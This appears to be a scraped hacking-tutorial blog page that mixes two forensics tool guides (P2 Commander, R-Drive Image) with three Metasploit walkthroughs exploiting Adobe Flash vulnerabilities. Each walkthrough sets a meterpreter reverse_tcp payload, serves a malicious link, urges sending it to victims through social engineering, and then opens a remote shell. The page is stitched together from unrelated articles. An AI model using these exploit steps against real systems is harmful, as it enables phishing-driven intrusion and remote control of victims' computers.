How to Collect Forensics Evidence of PC using P2 Commander (Part 1)

P2C is a comprehensive digital investigation tool with over ten years of court-approved use by forensic examiners. An integrated database and true multi-threading mean faster processing. P2C was built on Paraben's trusted email examination tools for unparalleled network email and personal email archive analysis. Advanced features like Data Triage analysis, Xbox analysis, pornography detection.

First Download the p2 commander from here and install in victim pc and open p2 commander Click New Case the ‘Create a New Case’ page will open

Then click on next to proceed to next step. 

Here in next step you have to enter the case name and DEMO details and click on finish to proceed to next step

Here in next step you have to enter the Investigator name and email details and click on finish to proceed to next step

Now Click ‘Add Evidence’->Choose ‘Image File’

Now select Auto-detect Image option from source type which will add the image evidence in any format. You can choose any option from different available options such as Drive Image or Fat Partition Image.

Now load the Evidence Disk Image

How to create Disk Image read this article

http://www.hackingarticles.in/how-to-create-copy-of-suspects-evidence-using-ftk-imager/

After selecting the evidence Image, click on Open.

Now you will see the case Demo is created, which will show you the hierarchy of the directories of the evidence image.

Now you can click on any one of the directories of the evidence image and it will show you all the containing files and sub folders within that folder describing   their   file name, file type, file size, creation time and last modification etc.

Now click on generate report tab.

Select the report type which is to be generated. In my case I am selecting HTML Investigative Report & select the destination folder. Then click on next.

Now select the sorted file which is to be added by clicking on Add and Export button with their file types. Now click on next to proceed further. 

Now click on Finish to proceed to next step. 

The report file will be saved on your destination folder. Now you will visualize the details of your report.

Author: Mukul Mohan is a Microsoft Certified system engineer in security and messaging .He is a Microsoft Certified Technology Specialist with high level of expertise in handling server side operations based on windows platform. An experienced IT Technical Trainer with over 20 years’ Technical Training experience you can contact him at mukul@ignitetechnologies.in

Hack Remote Windows PC using Adobe Flash Player domainMemory ByteArray Use After Free

This module exploits a use-after-free vulnerability in Adobe Flash Player. The vulnerability occurs when the ByteArray assigned to the current ApplicationDomain is freed from an ActionScript worker, when forcing a reallocation by copying more contents than the original capacity, but Flash forgets to update the domainMemory pointer, leading to a use-after-free situation when the main worker references the domainMemory again. This module has been tested successfully on Windows 7 SP1 (32-bit), IE 8 and IE11 with Flash 17.0.0.134.

Exploit Targets

Flash 17.0.0.134

Requirement

Attacker: kali Linux

Victim PC: Windows 7

Open Kali terminal type msfconsole

Now type use exploit/windows/browser/adobe_flash_domain_memory_uaf

msf exploit (adobe_flash_domain_memory_uaf)>set payload windows/meterpreter/reverse_tcp

msf exploit (adobe_flash_domain_memory_uaf)>set lhost 192.168.1.7 (IP of Local Host)

msf exploit (adobe_flash_domain_memory_uaf)>set srvhost 192.168.1.7

msf exploit (adobe_flash_domain_memory_uaf)>set uripath /

msf exploit (adobe_flash_domain_memory_uaf)>exploit  

Now an URL you should give to your victim http://192.168.1.7:8080

Send the link of the server to the victim via chat or email or any social engineering technique

Now when the victim opens the following link (http://192.168.1.7:8080) a session will be opened as shown below

Now type session –l to display sessions opened when the victim opens the link

Now the session has opened  type sysinfo to get system information, then type shell to enter into

Victims command prompt.

Hack Remote Windows PC using Adobe Flash Player NetConnection Type Confusion

This module exploits type confusion vulnerability in the NetConnection class on Adobe Flash Player. When using a correct memory layout this vulnerability allows to corrupt arbitrary memory. It can be used to overwrite dangerous objects, like vectors, and finally accomplish remote code execution. This module has been tested successfully on Windows 7 SP1 (32-bit), IE 8 and IE11 with Flash 16.0.0.305.

Exploit Targets

Flash 16.0.0.305

Requirement

Attacker: kali Linux

Victim PC: Windows 7

Open Kali terminal type msfconsole

Now type use exploit/windows/browser/adobe_flash_net_connection_confusion

msf exploit (adobe_flash_net_connection_confusion)>set payload windows/meterpreter/reverse_tcp

msf exploit (adobe_flash_net_connection_confusion)>set lhost 192.168.1.7 (IP of Local Host)

msf exploit (adobe_flash_net_connection_confusion)>set srvhost 192.168.1.7

msf exploit (adobe_flash_net_connection_confusion)>set uripath /

msf exploit (adobe_flash_net_connection_confusion)>exploit

Now an URL you should give to your victim http://192.168.1.7:8080

Send the link of the server to the victim via chat or email or any social engineering technique

Now when the victim opens the following link (http://192.168.1.7:8080) a session will be opened as shown below

Now type session –l to display sessions opened when the victim opens the link

Now the session has opened  type sysinfo to get system information, then type shell to enter into

Victims command prompt.

How to Create Forensics Image of PC using R-Drive Image

R-Drive Image is a potent utility providing disk image files creation for backup or duplication purposes. A disk image file contains the exact, byte-by-byte copy of a hard drive, partition or logical disk and can be created with various compression levels on the fly without stopping Windows OS and therefore without interrupting your business. These drive image files can then be stored in a variety of places, including various removable media such as CD-R(W)/DVD, Iomega Zip or Jazz disks, etc.

R-Drive Image Features

A simple wizard interface - no in-depth computer management skills are required.

On-the-fly actions: Image files are created on-the-fly, no need to stop and restart Windows. All other disk writes are stored in a cache until the image is created. Data from image files are restored on-the-fly as well, except on a system partition. Data to the system partition can be restored either by restarting R-Drive Image in its pseudo-graphic mode directly from Windows, or by using specially created startup disks.

Image files compression. Image files can be compressed to save free storage space.

Removable media support. Image files can be stored on removable media.

Startup version. A startup version can be used to image / restore / copy partitions locked by the OS. The computer can be re-started into the startup version either directly from Windows, or from an external USB device, a CD/DVD disk, or 6 floppies. The startup version can use either a graphic user interface, or a pseudo-graphic mode, if the graphic card isn't supported. Support for UEFI boot for modern computers.

USB 2.0 and 3.0 support in the startup version. With hard drives prices constantly going down, an external IDE-USB 2.0 or 3.0 HDD case with an appropriate hard drive is an ideal (fast and reliable) solution for storing backup files for system and other partitions that can be restored only in the startup version. Do not use numerous unreliable CD discs and slow CD/DVD recorders any more. Remember: with the incremental backup, this hard drive is not to be too large.

Network support in the startup version. R-Drive Image startup version supports disk image file creation and restoration over the Microsoft network (CIFS protocol).

Extended List of the supported devices in the startup version. The list of hardware supported by R-Drive Image startup versions has been extende An image file can be connected as a read-only virtual disk. Such disk can be browsed through and files/folders can be found and copied.

Individual files and folders restoration. Individual files and floders rather than entire disk can be restored either during the restoring action or from a image file connected as a virtual disk.

Image files splitting. Drive images can be split into several files to fit a storage medium.

Image Protection. Disk image files can be password-protected and contain comments.

New partition creation. Data from a disk image can be restored on a free (unpartitioned) space on any place on a hard drive. The size of the restored partition can be changed.

Partition replacement. Data from a disk image can be restored on other existing partitions. R-Drive Image deletes such partitions and restores data on that free space.

Disk to Disk copy. An entire disk can be directly copied on another one.

Image files verification. You may check if your image files are good before you store them or restore data from them.

Scheduler. A time for disk image creation may be scheduled and the process can be run in unattended mode.

Script creation for frequent or unattended actions. Such scripts for creating an image file and appending data to an existing image file are created from the R-Drive Image interface the same way the actual action is performed. Scripts are executed from a command line and such command can be included to any command file.

Action Report. When disk image is successfully created or the action fails the report can be automatically sent over e-mail or an external application can be launched.

Support for the ReFS file system (Resilient File System), a new local file system Microsoft has introduced in its Windows 2012 Server. All disk actions are supported, except partition resizing.

Full support for the GPT partitioning layout. R-Drive Image can create GPT disks, resize them, and change their partition layout during copy/restore operations.

Support for Windows Storage Spaces (Windows 8/8.1 and 10), Linux Logical Volume Managervolumes, and MacRAIDs.

First Download R-Drive Image from here and install in your pc

Now open R-Drive Image and click on Create on Image

Select the drive which image you want to create than click on next

You may select all objects on a hard drive by clicking the hard drive icon. . It will show the marked hard drive.

Select the place on the Image Destination panel to which the image files will be written, specify the file name, and click the Next button

If you try to append data to a password-protected image file, the Password prompt Message will appear. Enter the password and click on next.

Click on NEXT

Verify that the information on the Processing panel is correct and click the Start button

How to Restore Backup

Click Restore from an Image on the Action Selection panel

Select the file with the image on the Image File Selection panel and click the Next button

Select the object in the image file on the Image Object Selection panel, select a destination, and click the Next button

Now Click on NEXT

Click on start the process of restoring will start and the drive stored in your pc.

Hack Remote Windows PC using Adobe Flash Player Uncompress Via Zlib Variant Uninitialized Memory

This module exploits an unintialized memory vulnerability in Adobe Flash Player. The vulnerability occurs in the ByteArray::Uncompress Via ZlibVariant method, which fails to initialize allocated memory. When using a correct memory layout this vulnerability leads to a ByteArray object corruption, which can be abused to access and corrupt memory. This module has been tested successfully on Windows 7 SP1 (32-bit), IE 8 and IE11 with Flash 15.0.0.189.

Exploit Targets

Windows 7

Requirement

Attacker: kali Linux

Victim PC: Windows 7

Open Kali terminal type msfconsole

Now type use exploit/windows/browser/adobe_flash_uncompress_zlib_uninitialized

msf exploit (adobe_flash_uncompress_zlib_uninitialized)>set payload windows/meterpreter/reverse_tcp

msf exploit (adobe_flash_uncompress_zlib_uninitialized)>set lhost 192.168.1.13 (IP of Local Host)

msf exploit (adobe_flash_uncompress_zlib_uninitialized)>set srvhost 192.168.1.13

msf exploit (adobe_flash_uncompress_zlib_uninitialized)>set uripath /

msf exploit (adobe_flash_uncompress_zlib_uninitialized)>exploit

Now an URL you should give to your victim http://192.168.1.13:8080

Send the link of the server to the victim via chat or email or any social engineering technique

Now when the victim opens the following link (http://192.168.1.13:8080) a session will be opened as shown below

Now type session –l to display sessions opened when the victim opens the link

Now the session has opened  type sysinfo to get system information, then type shell to enter into

Victims command prompt.